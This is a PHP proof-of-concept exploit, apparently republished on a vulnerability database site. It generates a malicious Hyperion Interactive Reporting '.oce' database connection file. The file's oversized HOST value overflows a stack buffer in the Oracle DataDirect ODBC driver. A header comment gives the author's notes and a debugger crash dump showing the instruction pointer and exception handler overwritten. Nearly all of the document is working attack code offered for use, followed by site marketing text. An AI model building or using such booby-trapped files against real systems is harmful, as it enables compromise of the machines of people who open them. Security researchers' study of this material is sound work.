<?php
/*
Oracle DataDirect ODBC Drivers HOST Attribute arsqls24.dll Stack Based Buffer
Overflow PoC (*.oce)
by rgod
found a local vector for this:
http://retrogod.altervista.org/9sg_oracle_datadirect.htm
http://www.exploit-db.com/exploits/18007/
This poc will create a suntzu.oce file
which should work against Hyperion Interactive Reporting Studio
which is delivered with Oracle Hyperion Suite.
When clicked a login box appears, on clicking OK an error message
also appears then error then... boom!
description for .oce :
Interactive Reporting database connection file
file association:
"C:\Oracle\Middleware3\EPMSystem11R1\products\biplus\\bin\\brioqry.exe" "%1"
crash dump, eip and seh overwritten, unicode expanded,
I suppose one should be able to deal with it :
(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=0e752eb8 edx=0f490000 esi=0e6b3d60 edi=0012a338
eip=00410043 esp=0012a2d8 ebp=0012a2ec iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
brioqry+0x10043:
00410043 0152ff add dword ptr [edx-1],edx ds:0023:0f48ffff=????????
0:000> g
(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=00410041 edx=7c8285f6 esi=00000000 edi=00000000
eip=00410043 esp=00129f10 ebp=00129f30 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
brioqry+0x10043:
00410043 0152ff add dword ptr [edx-1],edx ds:0023:7c8285f5=244c8b00
*/
function _x($x){
global $buff;
list($x) = array_values(unpack('V', $x));
$x = $x + strlen($buff);
$x = pack('V',$x);
return $x;
}
$buff = "mydatabase.com".
str_repeat("\x20",16). //cosmetics, no AAAA... inside the login box
str_repeat("\x41",4000);
//$dsn="DRIVER=DataDirect 6.0 Greenplum Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null;";
//$dsn="DRIVER=DataDirect 6.0 MySQL Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DATA;UID=sa;PWD=null";
$dsn="DRIVER=DataDirect 6.0 PostgreSQL Wire Protocol;HOST=;UID=system;PWD=XXXXXXXXX;";
while (!(strlen($dsn)==166)){ //fill the gap
$dsn.="\x20";
}
$dsn=str_replace("HOST=;","HOST=".$buff.";",$dsn);
$dump=
"#BRIF\x20BIN001".
"\x00\x00\x00\x00".
_x("\x7b\x07\x00\x00"). //header length, increase counter
"\x37\x00\x00\x00". //path length
"D:\\Documents\x20and\x20Settings\\Admin\\Desktop\\Predefinito.oce".
"\x01\x00\x01\x00".
"\x00\x00\x07\x00".
"\x00\x00\x0a\x00".
"\x00\x00".
_x("\xa6\x00\x00\x00"). //dsn length
$dsn.
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x04\x00\x00\x00".
"True".
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x04\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\r\x00\x00\x00".
"ColItem.Table".
"\x01\x00".
"\x00\x00\x04\x00\x00\x00\x12\x00\x00\x00".
"ColItem.TableAlias".
"\x01\x00\x00\x00\x10\x00".
"\x00\x00\r\x00\x00\x00".
"ColItem.Owner".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0c\x00\x00".
"\x00".
"ColItem.Type".
"\x01\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x004\x00\x00\x00\x05\x00\x00\x00".
"Where".
"\x01".
"\x00\x00\x00\x05\x00\x00\x008\x00\x00\x00\x07\x00\x00\x00".
"OrderBy".
"\x01\x00".
"\x00\x00\x05\x00\x00\x00<\x00\x00\x00|\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x09\x00\x00\x00\x0c\x00\x00\x00ColItem.Name\x01\x00\x00\x00".
"\x04\x00\x00\x00\x10\x00\x00\x00".
"ColItem.ColAlias".
"\x01\x00\x00\x00\x10\x00\x00\x00".
"\x0e\x00\x00\x00".
"ColItem.ColNum".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0f\x00\x00\x00".
"ColItem.ColType".
"\x01\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00".
"ColItem.NumBytes".
"\x01\x00\x00\x004\x00".
"\x00\x00\x0e\x00\x00\x00".
"ColItem.Places".
"\x01\x00\x00\x00@\x00\x00\x00\x0e\x00\x00".
"\x00".
"ColItem.Digits".
"\x01\x00\x00\x00L\x00\x00\x00\r\x00\x00\x00".
"ColItem.Nulls".
"\x01\x00\x00\x00X\x00".
"\x00\x00\x12\x00\x00\x00".
"ColItem.NativeType".
"\x01\x00\x00\x00d\x00\x00\x00\x03\x00\x00".
"\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x00p\x00\x00\x00".
"\x05\x00\x00\x00".
"Where".
"\x01\x00\x00\x00\x05\x00\x00\x00t\x00\x00\x00\x07".
"\x00\x00\x00".
"OrderBy".
"\x01\x00\x00\x00\x05\x00\x00\x00x\x00\x00\x000\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x0b\x00\x00\x00\x06\x00\x00\x00".
"PTable".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x04\x00\x00\x00\x06\x00\x00\x00".
"POwner".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x08\x00\x00\x00\x07\x00\x00\x00".
"PDBName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x0c\x00\x00\x00\x08\x00\x00\x00".
"PColName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x10\x00\x00\x00\x06\x00\x00\x00".
"FTable".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x14\x00\x00\x00\x06\x00\x00\x00".
"FOwner".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x18\x00\x00\x00\x07\x00\x00\x00".
"FDBName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x1c\x00\x00\x00\x08\x00\x00\x00".
"FColName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x20\x00\x00\x00\x06\x00\x00\x00".
"SeqKey".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\$\x00\x00\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x00".
"(\x00\x00\x00\x05\x00\x00\x00".
"Where".
"\x01\x00\x00\x00\x05\x00\x00\x00,\x00".
"\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n".
"\x00\x00".
"\x00\x09\x00\x00\x00".
"SrcDBName".
"\x01\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00".
"\x00\x08\x00\x00\x00".
"SrcOwner".
"\x01\x00\x00\x00\x05\x00\x00\x00\x08\x00\x00".
"\x00\x08\x00\x00\x00".
"SrcTable".
"\x01\x00\x00\x00\x05\x00\x00\x00\x0c\x00\x00".
"\x00\x08\x00\x00\x00".
"LookupID".
"\x01\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00".
"\x00\x0b\x00\x00\x00".
"ColumnValue".
"\x01\x00\x00\x00\x05\x00\x00\x00\x14\x00\x00".
"\x00\x11\x00\x00\x00".
"ColumnDescription".
"\x01\x00\x00\x00\x05\x00\x00\x00\x18\x00\x00".
"\x00\x0c\x00\x00\x00".
"LimitMapFrom".
"\x01\x00\x00\x00\x05\x00\x00\x00\x1c\x00\x00".
"\x00\r\x00\x00\x00".
"LimitMapWhere".
"\x01\x00\x00\x00\x05\x00\x00\x00\x20\x00\x00\x00".
"\x0b\x00\x00\x00".
"LookupWhere".
"\x01\x00\x00\x00\x05\x00\x00\x00\$\x00\x00\x00\x0e".
"\x00\x00\x00".
"IsCustomLookup".
"\x01\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x04\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00".
"\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00".
"\x00\x0c\x00\x00\x00".
"NumTableTabs".
"\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
"\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00".
"\x00\r\x00\x00\x00".
"NumColumnTabs".
"\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00".
"\x8a\x00\x00\x00\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00".
"\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\n".
"\x00\x00\x00yyyy-mm-dd\x08\x00\x00\x00HH:MM:SS\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x00".
"\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00DateAttr\x06\x00\x00\x00\x05".
"\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x12\x00\x00\x00".
"TableCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("N\x01\x00\x00").
"\x10\x00\x00\x00".
"ColCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("@\x02\x00\x00").
"\x11\x00\x00\x00".
"FKeyCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("\xf6\x03\x00\x00").
"\x15\x00\x00\x00".
"LimitMapSQL.DaOCEPref".
"\x01\x00\x00\x00".
_x("%\x05\x00\x00").
"\x15\x00\x00\x00".
"TableFilter.DaOCEPref".
"\x01\x00\x00\x00".
_x("e\x06\x00\x00").
"\x15\x00\x00\x00".
"TableRemarks.DMParams".
"\x01\x00\x00\x00".
_x("x\x06\x00\x00").
"\x16\x00\x00\x00".
"ColumnRemarks.DMParams".
"\x01\x00\x00\x00".
_x("\xa4\x06\x00\x00").
"\x14\x00\x00\x00".
"DateFormats.DMParams".
"\x01\x00\x00\x00".
_x("\xd1\x06\x00\x00").
":\x00\x00\x00".
"\x0e\x00\x00\x00".
"OpenCatalogExt".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
"\x04\x00\x00\x00".
"\x06\x00\x00\x00".
"IsUTF8".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
"?\x00\x00\x00".
"\x07\x00\x00\x00".
"SavePwd".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
"@\x00\x00\x00".
"\x08\x00\x00\x00".
"ConnType".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"A\x00\x00\x00".
"\x07\x00\x00\x00".
"ApiCode".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"E\x00\x00\x00".
"\x07\x00\x00\x00".
"SvrCode".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"I\x00\x00\x00".
"\x08\x00\x00\x00".
"Extra1_1".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
"M\x00\x00\x00".
"\x06\x00\x00\x00".
"CurrDB".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xf7\x00\x00\x00").
"\x06\x00\x00\x00".
"DBList".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xfb\x00\x00\x00").
"\r\x00\x00\x00".
"MetaData_Save".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xff\x00\x00\x00").
"\x0b\x00\x00\x00".
"MetaDataKey".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x07\x01\x00\x00").
"\x12\x00\x00\x00".
"InformaticaWritten".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x0b\x01\x00\x00").
"\x0c\x00\x00\x00".
"SelectCommit".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x0c\x01\x00\x00").
"\x0b\x00\x00\x00".
"DBCancelOpt".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x10\x01\x00\x00").
"\n\x00\x00\x00".
"StringMode".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x14\x01\x00\x00").
"\x0b\x00\x00\x00".
"EdaHardQuit".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x15\x01\x00\x00").
"\x08\x00\x00\x00".
"DisTrans".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x16\x01\x00\x00").
"\x08\x00\x00\x00".
"UpdValid".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x17\x01\x00\x00").
"\n\x00\x00\x00".
"UseODBCDlg".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x18\x01\x00\x00").
"\x09\x00\x00\x00".
"JoinInfoQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x19\x01\x00\x00").
"\n\x00\x00\x00".
"GuessJoinQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1a\x01\x00\x00").
"\x0b\x00\x00\x00".
"CustomJoinQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1b\x01\x00\x00").
"\x0b\x00\x00\x00".
"CustTblQryQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1c\x01\x00\x00").
"\x09\x00\x00\x00".
"FastModeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1d\x01\x00\x00").
"\n\x00\x00\x00".
"CurrOCETab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x1e\x01\x00\x00").
"\x07\x00\x00\x00".
"CurrTab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\"\x01\x00\x00").
"\r\x00\x00\x00".
"CurrRepManTab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("&\x01\x00\x00").
"\x0e\x00\x00\x00".
"UseODBCDBNameQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("*\x01\x00\x00").
"\n\x00\x00\x00".
"UseTblSqlQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("+\x01\x00\x00").
"\x07\x00\x00\x00".
"QuotedQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(",\x01\x00\x00").
"\x09\x00\x00\x00".
"ChangeDBQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("-\x01\x00\x00").
"\r\x00\x00\x00".
"SaveUserNameQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(".\x01\x00\x00").
"\x0c\x00\x00\x00".
"UseTimeLimit".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("/\x01\x00\x00").
"\x09\x00\x00\x00".
"TimeLimit".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("0\x01\x00\x00").
"\x0c\x00\x00\x00".
"AllowNonJoin".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("4\x01\x00\x00").
"\x07\x00\x00\x00".
"MDDMode".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("5\x01\x00\x00").
"\n\x00\x00\x00".
"PacketSize".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("6\x01\x00\x00").
"\x0c\x00\x00\x00".
"DisableAsync".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(":\x01\x00\x00").
"\x06\x00\x00\x00".
"IsHPIW".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(";\x01\x00\x00").
"\x10\x00\x00\x00".
"RetainDateFormat".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("<\x01\x00\x00").
"\x10\x00\x00\x00".
"AdvSetOperations".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("=\x01\x00\x00").
"\x10\x00\x00\x00".
"MemberProperties".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(">\x01\x00\x00").
"\x1c\x00\x00\x00".
"UseOracleOuterJoinOpOnLimits".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("?\x01\x00\x00").
"\x18\x00\x00\x00".
"UseODBCOuterJoinOnLimits".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("@\x01\x00\x00").
"\x16\x00\x00\x00".
"UseODBCOuterJoinSyntax".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("A\x01\x00\x00").
"\x10\x00\x00\x00".
"OracleBufferSize".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("B\x01\x00\x00").
"\x08\x00\x00\x00".
"CustTblQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("F\x01\x00\x00").
"\x08\x00\x00\x00".
"CustColQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("G\x01\x00\x00").
"\x0c\x00\x00\x00".
"FilterOwnerQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("H\x01\x00\x00").
"\x0c\x00\x00\x00".
"FilterTableQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("I\x01\x00\x00").
"\x0b\x00\x00\x00".
"FilterTypeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("J\x01\x00\x00").
"\x0c\x00\x00\x00".
"DefineTableQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("K\x01\x00\x00").
"\x0c\x00\x00\x00".
"DefineOwnerQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("L\x01\x00\x00").
"\x0b\x00\x00\x00".
"DefineTypeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("M\x01\x00\x00").
"\x15\x00\x00\x00".
"FilterBRIOTblsSetting".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("q\x06\x00\x00").
"\x19\x00\x00\x00".
"UseDifferentRepConnection".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("r\x06\x00\x00").
"\x11\x00\x00\x00".
"MetaDataOwnerName".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("s\x06\x00\x00").
"\x09\x00\x00\x00".
"AdvOption".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("w\x06\x00\x00").
"\x00";
file_put_contents("suntzu.oce",$dump);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation